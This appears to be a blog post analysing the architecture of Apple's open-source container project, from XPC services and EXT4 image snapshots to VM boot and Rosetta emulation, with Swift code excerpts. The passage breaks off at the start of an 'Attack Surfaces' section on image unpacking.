Blog

Apple Container Internal

2026-06-23T00:00:00+00:00

One day I found Apple has its own container implementation, which is an open source project called apple/container. I was so curious about how it works and then spent a weekend tracing its internals. This post is a simple analysis of it.

1. Overview

Basically, the architecture of Apple’s container is quite different from Docker Engine. Because Apple doesn’t provide isolation mechanisms like namespace or cgroup, it leverages Linux VM to run containers, which means every container is running inside its own virtual machine. The hypervisor is not the most common one, QEMU-KVM. Actually, it is Apple’s virtualization framework (a library), which internally uses hardware virtualization.

When starting the container manager daemon, an XPC server com.apple.container.apiserver (container-apiserver) is listening to manage all containers. When a container is created, another XPC server com.apple.container.runtime.container-runtime-linux. (container-runtime-linux) is spawned for that container. Since Apple’s virtualization mechanism is an in-process VM implementation, the runtime process not only acts as a hypervisor but also runs the container inside the VM.

The architecture is as follows:

  +------------------+
  |  container CLI   |   container run / start / ...
  +--------+---------+
           | XPC
           v
  +------------------------------------------------------------+
  |  container-apiserver                                       |
  |                                                            |
  |  (XPC: com.apple.container.apiserver)                      |
  |                                                            |
  |  Manages all containers / images / networks / volumes      |
  +-------+----------------------------------+-----------------+
          | spawns one per container         |
          v (XPC)                            v (XPC)
  +----------------------------+  +----------------------------+
  | container-runtime-linux #A |  | container-runtime-linux #B |
  |                            |  |                            |
  | (XPC: ...container-runtime |  | (XPC: ...container-runtime |
  |      -linux.)      |  |      -linux.)      |
  |                            |  |                            |
  | (Virtualization.framework, |  | (Virtualization.framework, |
  |  in-process, hardware virt)|  |  in-process, hardware virt)|
  |                            |  |                            |
  | +------------------------+ |  | +------------------------+ |
  | |    Linux VM (guest)    | |  | |    Linux VM (guest)    | |
  | |                        | |  | |                        | |
  | |  vminit                | |  | |  vminit                | |
  | |    +-- container proc  | |  | |    +-- container proc  | |
  | +------------------------+ |  | +------------------------+ |
  +----------------------------+  +----------------------------+

2. Start System

You have to run container system start to start the whole system.

run() first registers the XPC server com.apple.container.apiserver as a daemon managed by launchd [1], and it then fetches the VM init filesystem [2] and the Linux kernel image [3].

// Sources/ContainerCommands/System/SystemStart.swift
extension Application {
    public struct SystemStart: AsyncLoggableCommand {
        public func run() async throws {
            // [...]
            let executablePath = try CommandLine.executablePath
                .removingLastComponent()
                .appending(FilePath.Component("container-apiserver"))
                .resolvingSymlinks()
            var args = [executablePath.string]
            args.append("start")
            // [...]
            let plist = LaunchPlist(
                label: "com.apple.container.apiserver",
                arguments: args,
                // [...]
                machServices: ["com.apple.container.apiserver"]
            )
            // [...]
            try ServiceManager.register(plistPath: plistURL.path) // [1]
            // [...]
            if await !initImageExists(containerSystemConfig: containerSystemConfig) {
                try? await installInitialFilesystem(initImage: containerSystemConfig.vminit.image) // [2]
            }
            try await installDefaultKernel(kernelURL: containerSystemConfig.kernel.url, kernelBinaryPath: containerSystemConfig.kernel.binaryPath) // [3]
        }

        private func installInitialFilesystem(initImage: String) async throws {
            var pullCommand = try ImagePull.parse()
            pullCommand.reference = initImage // initImage == "ghcr.io/apple/containerization/vminit:latest"
            log.info("Installing base container filesystem...")
            do {
                try await pullCommand.run()
            } catch {
                // [...]
            }
        }

        private func installDefaultKernel(kernelURL: URL, kernelBinaryPath: String) async throws {
            // [...]
            log.info("Installing kernel...")
            // kernelURL == "https://github.com/kata-containers/kata-containers/releases/download/3.28.0/kata-static-3.28.0-arm64.tar.zst"
            // kernelFilePath == "opt/kata/share/kata-containers/vmlinux-6.18.15-186"
            try await KernelSet.downloadAndInstallWithProgressBar(tarRemoteURL: kernelURL, kernelFilePath: kernelBinaryPath, force: true)
        }
    }
}

After that, the API server is running now, and we can talk to it in XPC.

3. Start container-apiserver XPC Server

com.apple.container.apiserver in Apple’s container is like dockerd and containerd in the Docker system. Its XPC server is listening to handle container access requests.

When executing container-apiserver start, the start subcommand handler [1] is triggered to call Start.run().

// APIServer/APIServer.swift
struct APIServer: AsyncParsableCommand {
    static let configuration = CommandConfiguration(
        commandName: "container-apiserver",
        // [...]
        subcommands: [Start.self], // [1]
    )
}

run() creates routing table [2], initializes all services, registers the XPC server com.apple.container.apiserver [3], and finally starts the server [4].

The functions with format initializeXXX() are to start service, including assigning endpoint handlers to harness handlers [5].

// Sources/APIServer/APIServer+Start.swift
extension APIServer {
    struct Start: AsyncParsableCommand {
        func run() async throws {
            do {
                var routes = [XPCRoute: XPCServer.RouteHandler]() // [2]
                // [...]
                let containersService = try initializeContainersService(..., routes: &routes, ...)
                // [...]
                // call functions: initializeXXX(..., routes: &routes, ...) to bind handlers
                // [...]
                let server = XPCServer( // [3]
                    identifier: "com.apple.container.apiserver",
                    routes: routes.reduce(
                        into: [String: XPCServer.RouteHandler](),
                        {
                            $0[$1.key.rawValue] = $1.value
                        }), log: log)
                
                await withTaskGroup(of: Result<Void, Error>.self) { group in
                    group.addTask {
                        log.info("starting XPC server")
                        do {
                            try await server.listen() // [4]
                            return .success(())
                        } catch {
                            // [...]
                        }
                    }
                }
            } catch {
                // [...]
            }
        }

        private func initializeContainersService(
            routes: inout [XPCRoute: XPCServer.RouteHandler]
            // [...]
        ) throws -> ContainersService {
            let service = try ContainersService(
                // [...]
            )
            let harness = ContainersHarness(service: service, log: log)
            routes[XPCRoute.containerList] = XPCServer.route(harness.list) // [5]
            // [...]
            // call routes[XPCRoute.containerXXX] = XPCServer.route(harness.XXX) to fill the routes
            // [...]
        }
    }
}

XPCServer’s handleMessage() is called when receiving messages from clients. It checks if the EUIDs of server and client are the same [6]. If not, it rejects the request to ensure only the container daemon owner can send requests. Following that, it gets the route info from the XPC object [7] and calls the corresponding route handler [8].

public struct XPCServer: Sendable {
    // [...]
    func handleMessage(connection: xpc_connection_t, object: xpc_object_t, session: XPCServerSession) async throws {
        // [...]
        // "server EUID == client EUID" is required
        var token = audit_token_t()
        xpc_dictionary_get_audit_token(object, &token)
        let serverEuid = geteuid()
        let clientEuid = audit_token_to_euid(token)
        guard clientEuid == serverEuid else { // [6]
            log.error(
                "unauthorized request - uid mismatch",
            )
            // [...]
        }
        // [...]
        guard let route = object.route else { /* ... */ } // [7]
        if let handler = routes[route] {
            do {
                let message = XPCMessage(object: object)
                let response = try await handler(message, session) // [8]
                xpc_connection_send_message(connection, response.underlying)
            } catch {
                // [...]
            }
        }
        // [...]
    }
}

The harness handler is responsible for decoding XPC message and forwarding the request to the service handler (service.XXX).

// ContainerAPIService/Server/Containers/ContainersHarness.swift
public struct ContainersHarness: Sendable {
    let service: ContainersService
    // [...]
    public func bootstrap(_ message: XPCMessage) async throws -> XPCMessage {
        // the handler of harness.bootstrap
        // [...]
        try await service.bootstrap(id: id, stdio: stdio, dynamicEnv: env)
        // [...]
    }
    // [...]
}

The service handler is the actual one who handles the request.

// Sources/Services/ContainerAPIService/Server/Containers/ContainersService.swift
public actor ContainersService {
    // [...]
    public func bootstrap(id: String, stdio: [FileHandle?], dynamicEnv: [String: String]) async throws {
        // [...]
    }
}

4. Start container-core-images XPC Server

There are multiple plugin configuration files (config.toml) in directories under Sources/Plugins/. These plugins are loaded during the apiserver initialization.

The plugin loader first filters plugins with loadAtBoot=true [1]. After that, these plugins are registered with launchd [2] and run as daemon processes.

// Sources/APIServer/APIServer+Start.swift
extension APIServer {
    struct Start: AsyncParsableCommand {
        func run() async throws {
            do {
                // [...]
                let pluginLoader = try initializePluginLoader(log: log)
                try await initializePlugins(pluginLoader: pluginLoader, log: log, routes: &routes, debug: debug)
                // [...]
            } catch {
                // [...]
            }
        }

        private func initializePlugins(
            pluginLoader: PluginLoader,
            log: Logger,
            routes: inout [XPCRoute: XPCServer.RouteHandler],
            debug: Bool = false
        ) async throws {
            // [...]
            let bootPlugins = pluginLoader.findPlugins().filter { $0.shouldBoot } // [1]
            let service = PluginsService(pluginLoader: pluginLoader, log: log)
            try await service.loadAll(bootPlugins, debug: debug)
            // [...]
        }
    }
}

// Sources/Services/ContainerAPIService/Server/Plugin/PluginsService.swift
public actor PluginsService {
    // [...]
    public func loadAll(
        _ plugins: [Plugin]? = nil,
        debug: Bool = false
    ) throws {
        let registerPlugins = plugins ?? pluginLoader.findPlugins()
        for plugin in registerPlugins {
            try pluginLoader.registerWithLaunchd(plugin: plugin, debug: debug) // [2]
            loaded[plugin.name] = plugin
        }
    }
    // [...]
}

One of the loaded plugins is the image management plugin (Sources/Plugins/CoreImages/config.toml), and its helper binary (container-core-images) registers an XPC server, which provides image-related operations [3].

// Sources/Plugins/CoreImages/ImagesHelper.swift
struct ImagesHelper: AsyncParsableCommand {
    static let configuration = CommandConfiguration(
        commandName: "container-core-images",
        // [...]
    )
}

extension ImagesHelper {
    struct Start: AsyncParsableCommand {
        private func initializeImagesService(root: FilePath, containerSystemConfig: ContainerSystemConfig, log: Logger, routes: inout [String: XPCServer.RouteHandler]) throws {
            // [...]
            routes[ImagesServiceXPCRoute.imagePull.rawValue] = XPCServer.route(harness.pull) // [3]
            // [...]
        }
    }
}

5. Create Container

The container service is registered in the XPC server com.apple.container.apiserver, and its create endpoint can set up a container execution environment.

It first gets the filesystem used by the VM kernel [1], which is the init filesystem (ghcr.io/apple/containerization/vminit:) we fetched before. Then it pulls the image of the container, creating the container’s rootfs [2]. A RuntimeConfiguration object is later created [3] to save all the settings to a config file. Finally, the container state is updated to .stopped [4].

Fun fact, if you trace the call flow, you may find that the VM kernel image and the image of the container are both pulled by the same function - getCreateSnapshot().

// Sources/Services/ContainerAPIService/Server/Containers/ContainersService.swift
public actor ContainersService {
    // [...]
    public func create(configuration: ContainerConfiguration, kernel: Kernel, options: ContainerCreateOptions, initImage: String? = nil, runtimeData: Data? = nil) async throws {
        // [...]
        try await /* ... */ {
            let initFilesystem = try await self.getInitBlock(for: systemPlatform.ociPlatform(), imageRef: initImage) // [1]
            do {
                let containerImage = ClientImage(description: configuration.image)
                let imageFs = try await options.rootFsOverride == nil ? containerImage.getCreateSnapshot(platform: configuration.platform) : nil // [2]

                let runtimeConfig = RuntimeConfiguration( // [3]
                    path: path,
                    initialFilesystem: initFilesystem,
                    kernel: kernel,
                    containerConfiguration: configuration,
                    containerRootFilesystem: imageFs,
                    options: options,
                    runtimeData: runtimeData
                )
                try runtimeConfig.writeRuntimeConfiguration()

                let snapshot = ContainerSnapshot(
                    configuration: configuration,
                    status: .stopped,
                    networks: [],
                    startedDate: nil
                )
                await self.setContainerState(configuration.id, ContainerState(snapshot: snapshot), context: context) // [4]
            } catch {
                // [...]
            }
        }
    }

    // [...]
    private func getInitBlock(for platform: Platform, imageRef: String? = nil) async throws -> Filesystem {
        let ref = imageRef ?? containerSystemConfig.vminit.image
        let initImage = try await ClientImage.fetch(reference: ref, platform: platform, containerSystemConfig: containerSystemConfig)
        var fs = try await initImage.getCreateSnapshot(platform: platform) // <-------------
        fs.options = ["ro"]
        return fs
    }
}

ClientImage is a client side interface of the XPC server container-core-images. getCreateSnapshot() first sends snapshotGet request to get the snapshot [5]. If not found, it then sends another imageUnpack request [6] to create one.

// Sources/Services/ContainerAPIService/Client/ClientImage.swift
extension ClientImage {
    private static let serviceIdentifier = "com.apple.container.core.container-core-images"

    private static func newXPCClient() -> XPCClient {
        XPCClient(service: Self.serviceIdentifier)
    }
    // [...]
}

extension ClientImage {
    // [...]
    public func unpack(platform: Platform?, progressUpdate: ProgressUpdateHandler? = nil) async throws {
        let client = Self.newXPCClient()
        let request = Self.newRequest(.imageUnpack)
        // [...]
        try await client.send(request)
        // [...]
    }

    // [...]
    public func getSnapshot(platform: Platform) async throws -> Filesystem {
        let client = Self.newXPCClient()
        let request = Self.newRequest(.snapshotGet)
        // [...]
        let response = try await client.send(request)
        // [...]
    }

    public func getCreateSnapshot(platform: Platform, progressUpdate: ProgressUpdateHandler? = nil) async throws -> Filesystem {
        do {
            // get
            return try await self.getSnapshot(platform: platform) // [5]
        } catch let err as ContainerizationError {
            // [...]
            // not found -> create
            try await self.unpack(platform: platform, progressUpdate: progressUpdate) // [6]
            return try await self.getSnapshot(platform: platform)
        }
    }
}

Once container-core-images receives the request, it calls ImagesService’s unpack() to get image from ImageStore [7], and then it converts the image to snapshot via SnapshotStore [8].

// Sources/Services/ContainerImagesService/Server/ImagesService.swift
public actor ImagesService {
    // [...]
    private let contentStore: ContentStore
    private let imageStore: ImageStore
    private let snapshotStore: SnapshotStore
    // [...]
    private func _get(_ reference: String) async throws -> Containerization.Image {
        try await imageStore.get(reference: reference)
    }
    // [...]
}
extension ImagesService {
    public func unpack(description: ImageDescription, platform: Platform?, progressUpdate: ProgressUpdateHandler?) async throws {
        let img = try await self._get(description) // [7]
        try await self.snapshotStore.unpack(image: img, platform: platform, progressUpdate: progressUpdate) // [8]
    }
}

Here we simply explain the functions of three different stores:

ContentStore: saves raw data, including manifest, config (JSON) and blob (tar). Identifies them by digest.
ImageStore: saves image metadata, such as the mapping between reference (image name + tag, like “ubuntu:24.04”) and root digest.
SnapshotStore: saves unpacked data into a filesystem image or a directory containing all files. It should be able to be directly mounted.

These three stores are implemented in another project: Containerization.

ImageStore first finds images from the filesystem [5]. If not found, it calls pull() to download the target image from remote [6].

// Sources/Containerization/Image/ImageStore/ImageStore.swift
extension ImageStore {
    public func get(reference: String, pull: Bool = false) async throws -> Image {
        do {
            let desc = try await self.referenceManager.get(reference: reference) // [5]
            return Image(description: desc, contentStore: self.contentStore)
        } catch /* ... */ {
            if error.code == .notFound && pull {
                return try await self.pull(reference: reference) // [6]
            }
            // [...]
        }
    }
}

pull() downloads manifests, configs and layers, and it then saves them into ContentStore. Later, the association of the image and these files is registered in ImageStore.

Now the image has been downloaded, and we go back to see how unpack() handles them to a snapshot.

For images supporting multi-arch, each arch corresponds to a manifest Descriptor. If specifying a platform like amd64, unpack() only takes the image desc of the target platform [7]. It then calls the unpacker’s unpack() handler [8] to parse the desc, overlaying layers referred to by the image desc into an EXT4 image and returning mount. mount contains mounting information like the image type and the options, and this information is finally saved into the snapshot info [9].

During the whole process, the snapshot (EXT4 image) and the snapshot info (JSON file) are all saved into a temporary directory first. Once the unpacking process has been done, they are moved from the temp dir to the target snapshot dir [10] in the end.

// Sources/Services/ContainerImagesService/Server/SnapshotStore.swift
public actor SnapshotStore {
    public func unpack(image: Containerization.Image, platform: Platform? = nil, progressUpdate: ProgressUpdateHandler?) async throws {
        // [...]
        let desc = try await image.descriptor(for: platform) // [7]
        toUnpack = [desc]
        // [...]
        for desc in toUnpack {
            let snapshotDir = self.snapshotDir(desc) // /
            let unpacker = try await self.unpackStrategy(image, platform) // by default it is EXT4Unpacker()

            do {
                // [...]
                let mount = try await unpacker.unpack(image, for: platform, at: tempSnapshotPath, progress: progress) // [8]
                let fs = Filesystem.block(
                    format: mount.type,
                    source: self.snapshotPath(desc).absolutePath(),
                    destination: mount.destination,
                    options: mount.options
                )
                let snapshotInfo = try JSONEncoder().encode(fs)
                self.fm.createFile(atPath: infoPath.absolutePath(), contents: snapshotInfo) // [9]
            } catch {
                // [...]
            }

            do {
                try fm.moveItem(at: tempDir, to: snapshotDir) // [10]
            } catch {
                // [...]
            }
        }
    }
}

Unlike containerd in Linux, Apple container generates an EXT4 image as the container’s snapshot. I think it is because containerd is running on native Linux, and it is pretty easy and cheap to mount a directory to a container. However, Apple container is running inside a separate VM, so exposing the image to the VM as a device then mounting it is the best way to set up a container.

6. Start Container (only kernel init process)

After the VM environment and filesystems have been set up, endpoint bootstrap is used to start the VM.

Container service’s bootstrap() is called to register a container-runtime-linux daemon with launchd [1]. It acts as a container shim, controlling the container lifecycle. Here id is the booting container ID. Then it creates a runtime client [2] to talk to container-runtime-linux and calls runtime service’s bootstrap() [3].

// Sources/Services/ContainerAPIService/Server/Containers/ContainersService.swift
public actor ContainersService {
    // [...]
    public func bootstrap(id: String, stdio: [FileHandle?], dynamicEnv: [String: String]) async throws {
        // [...]
        try await /* ... */ {
            // [...]
            let path = self.containerRoot.appendingPathComponent(id)
            let (config, _) = try Self.getContainerConfiguration(at: path)
            // [...]
            do {
                try Self.registerService( // [1]
                    // [...]
                )
                // [...]
                let runtime = state.snapshot.configuration.runtimeHandler // "container-runtime-linux"
                let runtimeClient = try await RuntimeClient.create( // [2]
                    id: id,
                    runtime: runtime
                )
                try await runtimeClient.bootstrap(stdio: stdio, networkBootstrapInfos: networkBootstrapInfos, dynamicEnv: dynamicEnv) // [3]
            }
        }
    }
}

Actually, the container-runtime-linux daemon runs two XPC servers: the endpoint server and the main server. The main server is the main service providing container control operations, including bootstrap [4], but it is created as an anonymous connection [5] by design, which means that no one can connect to it.

To access the main server, you have to call the endpoint createEndpoint of the endpoint server, which is also its only method [6].

// Sources/Plugins/RuntimeLinux/RuntimeLinuxHelper+Start.swift
extension RuntimeLinuxHelper {
    struct Start: AsyncParsableCommand {
        func run() async throws {
            do {
                // [...]
                let anonymousConnection = xpc_connection_create(nil, nil)
                let server = RuntimeService(
                    // [...]
                    connection: anonymousConnection,
                )

                // [...]
                let endpointServer = XPCServer(
                    identifier: machServiceLabel,
                    routes: [
                        RuntimeRoutes.createEndpoint.rawValue: XPCServer.route(server.createEndpoint) // [6]
                    ],
                    log: log
                )
                // [...]
                let mainServer = XPCServer(
                    connection: anonymousConnection, // [5]
                    routes: [
                        // [...]
                        RuntimeRoutes.bootstrap.rawValue: XPCServer.route(server.bootstrap), // [4]
                        // [...]
                    ],
                    log: log
                )
                // [...]
            } catch {
                // [...]
            }
        }
    }
}

createEndpoint() handler replies the request with a main server connection [7] so that the client can talk to the main server.

// Sources/Services/RuntimeLinux/Server/RuntimeService.swift
public actor RuntimeService {
    // [...]
    public func createEndpoint(_ message: XPCMessage) async throws -> XPCMessage {
        let endpoint = xpc_endpoint_create(self.connection) // [7]
        let reply = message.reply()
        reply.set(key: RuntimeKeys.runtimeServiceEndpoint.rawValue, value: endpoint)
        return reply
    }
    // [...]
}

Going back to see runtime service’s bootstrap(), it handles the VM execution initialization, such as kernel boot parameters [8]. It finally calls container.create() to create a container [9].

// Services/RuntimeLinux/Server/RuntimeService.swift
public actor RuntimeService {
    // [...]
    public func bootstrap(_ message: XPCMessage) async throws -> XPCMessage {
        // [...]
        return try await /* ... */ {
            var kernel = try bundle.kernel
            kernel.commandLine.kernelArgs.append("oops=panic") // [8]
            kernel.commandLine.kernelArgs.append("lsm=lockdown,capability,landlock,yama,apparmor")
            let vmm = VZVirtualMachineManager(
                kernel: kernel,
                initialFilesystem: bundle.initialFilesystem.asMount,
                // [...]
            )
            // [...]
            let container = try LinuxContainer(id, rootfs: rootfs, vmm: vmm, logger: self.log) {
                // [...]
            }
            // [...]
            do {
                try await container.create() // [9]
                // [...]
                await self.setState(.booted)
            } catch {
                // [...]
            }
        }
    }
}

The container VM-related operations are also defined in Containerization.

create() is responsible for creating and booting the micro-VM, and preparing the container environment (rootfs, network, mounting). It first calls VMM’s create handler [10] to create a VM instance and then calls the VM’s start handler [11] to boot the VM. Internally, the start handler of the VZVirtualMachine structure is called, but we cannot trace further because self.start is implemented in Apple Virtualization.framework [12].

After booting the VM, it connects to the VM’s init process vminitd via vsock [13], and it then asks vminitd to initialize the VM runtime, such as mounting the VirtIO interface [14] and mounting the container’s rootfs [15].

// Sources/Containerization/LinuxContainer.swift
extension LinuxContainer {
    public func create() async throws {
        try await /* ... */ {
            let vm = try await self.vmm.create(config: creationConfig) // [10]
            try await vm.start() // [11]
            do {
                try await vm.withAgent { agent in
                    // [...]
                    try await agent.mount(
                        ContainerizationOCI.Mount( // [14]
                            type: "virtiofs",
                            source: "virtiofs",
                            destination: "/run/virtiofs",
                            options: []
                        ))
                    // [...]
                }
                // [...]

                try await self.mountRootfs(attachments: attachments, rootfsPath: rootfsPath, agent: agent) // [15]
                // [...]
            }
        }
    }
}

// Sources/Containerization/VZVirtualMachineManager.swift
public struct VZVirtualMachineManager: VirtualMachineManager {
    // [...]
    public func create(config: some VMCreationConfig) throws -> any VirtualMachineInstance {
        // [...]
        return try VZVirtualMachineInstance(
            // [...]
            )
    }
}

// Sources/Containerization/VZVirtualMachineInstance.swift
public final class VZVirtualMachineInstance: Sendable {
    // [...]
    init(group: EventLoopGroup?, config: Configuration, logger: Logger?) throws {
        self.vm = VZVirtualMachine(
            configuration: try config.toVZ(allocator: allocator),
            queue: self.queue
        )
    }
}

extension VZVirtualMachineInstance: VirtualMachineInstance {
    public func start() async throws {
        try await lock.withLock { _ in
            // [...]
            try await self.vm.start(queue: self.queue) // <-------------
            // [...]
            let agent = try Vminitd( // [13]
                connection: try await self.vm.waitForAgent(queue: self.queue),
                group: self.group
            )
            // [...]
        }
    }
}

// Sources/Containerization/VZVirtualMachine+Helpers.swift
extension VZVirtualMachine {
    // [...]
    func start(queue: DispatchQueue) async throws {
        try await /* ... */ { /* ... */ in
            queue.sync {
                self.start { result in // [12]
                    // [...]
                    cont.resume()
                }
            }
        }
    }
    // [...]
}

VZVirtualMachine is defined in the SDK libraries [13].

// /Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/System/Library/Frameworks/Virtualization.framework/Versions/A/Headers/VZVirtualMachine.h
// [...]
/*!
@abstract VZVirtualMachine represents the entire state of a single virtual machine.
@discussion
   A Virtual Machine is the emulation of a complete hardware machine of the same architecture as the real hardware machine.
   When executing the Virtual Machine, the Virtualization framework uses certain hardware resources and emulates others to provide
   and great performance.
   The definition of a virtual machine starts with its configuration. This is done by setting up a VZVirtualMachineConfiguration o
   Once configured, the virtual machine can be started with [VZVirtualMachine startWithCompletionHandler:].
   To install macOS on a virtual machine, configure a new virtual machine with a suitable VZMacPlatformConfiguration, then use a V
   to install the restore image on it.
   Creating a virtual machine using the Virtualization framework requires the app to have the "com.apple.security.virtualization"
@seealso VZVirtualMachineConfiguration
@seealso VZMacOSInstaller
*/
VZ_EXPORT API_AVAILABLE(macos(11.0))
@interface VZVirtualMachine : NSObject // [13]
// [...]

The Apple hypervisor is an in-process framework, which internally uses hardware virtualization, so it won’t spawn other processes. As a result, container-runtime-linux is the process that both controls the VM and runs the VM. (btw iOS doesn’t support the Virtualization Framework)

7. Cross-arch VM / Container

Apple container is based on hardware virtualization but still supports cross-arch VM, how?

The magic is that when creating a VM instance, it exposes the rosetta binary with the tag "rosetta" to the VM [1].

// Sources/Containerization/VZVirtualMachineInstance.swift
public final class VZVirtualMachineInstance: Sendable {
    init(group: EventLoopGroup?, config: Configuration, logger: Logger?) throws {
        // [...]
        self.vm = VZVirtualMachine(
            configuration: try config.toVZ(allocator: allocator), // <-------------
            queue: self.queue
        )
        // [...]
    }
}

extension VZVirtualMachineInstance.Configuration {
    func toVZ(allocator: any AddressAllocator<Character>) throws -> VZVirtualMachineConfiguration {
        if self.rosetta {
            case .installed:
                let share = try VZLinuxRosettaDirectoryShare() // virtualization framework API
                let device = VZVirtioFileSystemDeviceConfiguration(tag: "rosetta") // [1]
                device.share = share
                config.directorySharingDevices.append(device)
        }
    }
}

During booting, rosetta is mounted into the VM [2] and registered as the x86_64 binary loader via binfmt_misc [3].

// Sources/Containerization/Vminitd+Rosetta.swift
extension Vminitd {
    /// Enable Rosetta's x86_64 emulation.
    public func enableRosetta() async throws {
        let path = "/run/rosetta"
        try await self.mount(
            .init(
                type: "virtiofs",
                source: "rosetta", // [2]
                destination: path
            )
        )
        try await self.setupEmulator( // [3]
            binaryPath: "\(path)/rosetta",
            configuration: Binfmt.Entry.amd64()
        )
    }
}

So rosetta automatically runs as the loader when an x86_64 binary is executed in the arm64 VM.

root@df733a90-6be1-4fda-bc8b-89ed1be716dd:/# ps aux
USER         PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root           1  1.4  0.6 166188  7132 pts/0    Ss   06:06   0:00 /run/rosetta/rosetta /usr/bin/bash
root           4  100  0.5 167876  6180 pts/0    R+   06:06   0:00 /run/rosetta/rosetta /usr/bin/ps aux

8. Run process in Container

The first process of the container (entrypoint) is run by the startProcess endpoint. The container service forwards the request to the container-runtime-linux XPC server [1].

// Sources/Services/ContainerAPIService/Server/Containers/ContainersService.swift
public actor ContainersService {
    // [...]
    public func startProcess(id: String, processID: String) async throws {
        // [...]
        try await /* ... */ {
            let client = try state.getClient()
            try await client.startProcess(processID) // [1]
        }
    }
    // [...]
}

Runtime service’s startProcess() internally calls container’s start handler [2].

// Sources/Services/RuntimeLinux/Server/RuntimeService.swift
public actor RuntimeService {
    @Sendable
    public func startProcess(_ message: XPCMessage) async throws -> XPCMessage {
        // [...]
        return try await /* ... */ { lock in
            let id = try message.id()
            let containerInfo = try await self.getContainer()
            let containerId = containerInfo.container.id
            if id == containerId {
                try await self.startInitProcess(lock: lock) // <-------------
                await self.setState(.running)
            } else {
                // [...]
            }
            return message.reply()
        }
    }
    // [...]
    private func startInitProcess(lock: AsyncLock.Context) async throws {
        let info = try self.getContainer()
        let container = info.container
        // [...]
        do {
            // [...]
            try await container.start() // [2]
            // [...]
        }
    }
}

Container’s start() generates an OCI spec and initializes it. Eventually, it executes the OCI runtime binary [3] inside the VM and starts the container based on the OCI spec.

// Sources/Containerization/LinuxContainer.swift
extension LinuxContainer {
    public func start() async throws {
        try await /* ... */ { state in
            var spec = self.generateRuntimeSpec()
            // [...]
            // initialize OCI spec
            // [...]
            let agent = try await createdState.vm.dialAgent()
            do {
                let process = LinuxProcess(
                    // [...]
                    ociRuntimePath: self.config.ociRuntimePath, // "nil" by default
                    // [...]
                )
                try await process.start() // [3]
            } catch {
                // [...]
            }
        }
    }
}

When the VM’s vminitd receives a createProcess request, it first decodes the message and gets the OCI spec [4]. Following that, it creates a ManagedContainer object [5] to manage that container.

// vminitd/Sources/VminitdCore/Server+GRPC.swift
extension Initd: Com_Apple_Containerization_Sandbox_V3_SandboxContext.SimpleServiceProtocol {
    public func createProcess(
        request: Com_Apple_Containerization_Sandbox_V3_CreateProcessRequest, context: GRPCCore.ServerContext
    ) async throws -> Com_Apple_Containerization_Sandbox_V3_CreateProcessResponse {
        do {
            var ociSpec = try JSONDecoder().decode( // [4]
                // [...]
                from: request.configuration
            )

            // [...]
            else { // new container
                // [...]
                let ctr = try await ManagedContainer( // [5]
                    id: request.id,
                    stdio: stdioPorts,
                    spec: ociSpec,
                    ociRuntimePath: request.hasOciRuntimePath ? request.ociRuntimePath : nil,
                    log: self.log
                )
                // [...]
            }
        }
    }
}

If the runtime is not specified, vminitd will use the "vmexec" binary as the runtime loader [6]. The bundle here [7] is the directory which contains the container’s rootfs and the OCI spec (config.json).

// vminitd/Sources/VminitdCore/ManagedContainer.swift
public actor ManagedContainer {
    init(
        id: String,
        stdio: HostStdio,
        spec: ContainerizationOCI.Spec,
        ociRuntimePath: String? = nil,
        log: Logger
    ) async throws {
        // [...]
        let bundle = try ContainerizationOCI.Bundle.create(
            path: Self.craftBundlePath(id: id),
            spec: spec
        )
        // [...]
        do {
            if let runtimePath = ociRuntimePath {
                // [...]
            } else {
                // Use vmexec runtime
                initProcess = try ManagedProcess( // <-------------
                    id: id,
                    stdio: stdio,
                    bundle: bundle, // [7]
                    // [...]
                )
                // [...]
            }
        } catch {
            // [...]
        }
    }
}

// vminitd/Sources/VminitdCore/ManagedProcess.swift
final class ManagedProcess: ContainerProcess, Sendable {
    init(
        bundle: ContainerizationOCI.Bundle,
    ) {
        // [...]
        else {
            args = ["run", "--bundle-path", bundle.path.path]
        }

        var command = Command(
            "/sbin/vmexec", // [6]
            arguments: args,
            // [...]
        )
        // [...]
        try io.start(process: &command)
        // [...]
    }
}

The container’s rootfs is the EXT4 image. The image is mounted into the VM by mountRootfs() during container creation [7] with the destination path format /run/container//rootfs.

// Sources/Containerization/LinuxContainer.swift
extension LinuxContainer {
    // called by LinuxContainer.create()
    private func mountRootfs(
        attachments: [AttachedFilesystem],
        rootfsPath: String,
        agent: VirtualMachineAgent
    ) async throws {
        let rootfsAttachment = attachments.first
        // [...]
        if self.writableLayer != nil {
            // [...]
            // mount with overlayfs
        } else {
            // No writable layer. Mount rootfs directly.
            var rootfs = rootfsAttachment.to
            rootfs.destination = rootfsPath
            try await agent.mount(rootfs) // [7]
        }
    }
}

Finally, when the runtime is executed (vmexec run --bundle ...), childRootSetup() is called internally to mount the rootfs as the container’s rootfs [8]. rootfs.path here is that mounted EXT4 image.

// vminitd/Sources/vmexec/RunCommand.swift
struct RunCommand: ParsableCommand {
    mutating func run() throws {
        do {
            let spec: ContainerizationOCI.Spec
            do {
                let bundle = try ContainerizationOCI.Bundle.load(path: URL(filePath: bundlePath))
                spec = try bundle.loadConfig()
            } catch {
                // [...]
            }
            try execInNamespace(spec: spec) // <-------------
        } catch {
            // [...]
        }
    }

    private func childRootSetup(rootfs: ContainerizationOCI.Root, mounts: [ContainerizationOCI.Mount]) throws { // [8]
        // setup rootfs
        try prepareRoot(rootfs: rootfs.path)
        try mountRootfs(rootfs: rootfs.path, mounts: mounts)
        // [...]
        try pivotRoot(rootfs: rootfs.path)
        // [...]
    }

    private func childSetup(
        spec: ContainerizationOCI.Spec,
        ackPipe: FileDescriptor,
        syncPipe: FileDescriptor
    ) throws {
        // [...]
        try childRootSetup(rootfs: root, mounts: spec.mounts) // <-------------
        // [...]
    }

    private func execInNamespace(spec: ContainerizationOCI.Spec) throws {
        // [...]
        unshare(unshareFlags)
        // [...]
        let processID = fork()
        if processID == 0 {  // child
            try childSetup(spec: spec, ackPipe: ackPipe, syncPipe: syncPipe) // <-------------
        } else {
            // [...]
        }
    }
}

9. Attack Surfaces

9.1. Pulling Image

Could unpacking a tar to an EXT4 image lead to any problems?

The EXT4 unpacker uses an ArchiveReader object to read the layer blob [1] and forwards the request to the EXT4 formatter [2].

// Sources/Containerization/Image/Unpacker/EXT4Unpacker.swift
public struct EXT4Unpacker: Unpacker {
    // [...]
    public func unpack(
        _ image: Image,
        for platform: Platform,
        at path: URL,
        progress: ProgressHandler? = nil
    ) async throws -> Mount {
        // [...]
        for resolved in resolvedLayers {
            // [...]
            let reader = try ArchiveReader( // [1]
